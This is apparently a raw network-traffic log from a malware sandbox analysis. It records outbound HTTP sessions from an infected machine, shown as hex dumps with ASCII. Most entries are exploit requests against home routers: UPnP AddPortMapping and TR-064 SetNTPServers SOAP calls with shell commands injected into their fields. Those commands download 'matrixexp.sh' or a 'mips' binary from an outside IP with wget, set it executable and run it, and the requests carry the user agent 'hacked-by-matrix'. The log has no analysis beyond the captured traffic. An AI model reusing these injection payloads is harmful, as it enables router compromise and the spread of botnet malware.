77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBAC

Session ID	Source IP	Source Port	Destination IP	Destination Port
1741	192.168.2.23	56048	164.167.71.73	52869

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:50.862929106 CET	986	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://164.155.205.6/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 2, 2024 12:38:51.508933067 CET	986	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://164.155.205.6/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 2, 2024 12:38:51.626399040 CET	1280	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBAC

Session ID	Source IP	Source Port	Destination IP	Destination Port
1742	192.168.2.23	60502	174.105.108.228	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:50.896894932 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1743	192.168.2.23	60530	174.105.108.228	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:51.048089981 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1744	192.168.2.23	48362	41.224.209.231	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:51.121000051 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1745	192.168.2.23	51428	188.49.84.126	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:51.127881050 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:52.309058905 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:53.716586113 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1746	192.168.2.23	48368	41.224.209.231	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:51.349416018 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1747	192.168.2.23	51434	188.49.84.126	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:51.365614891 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:52.596735954 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
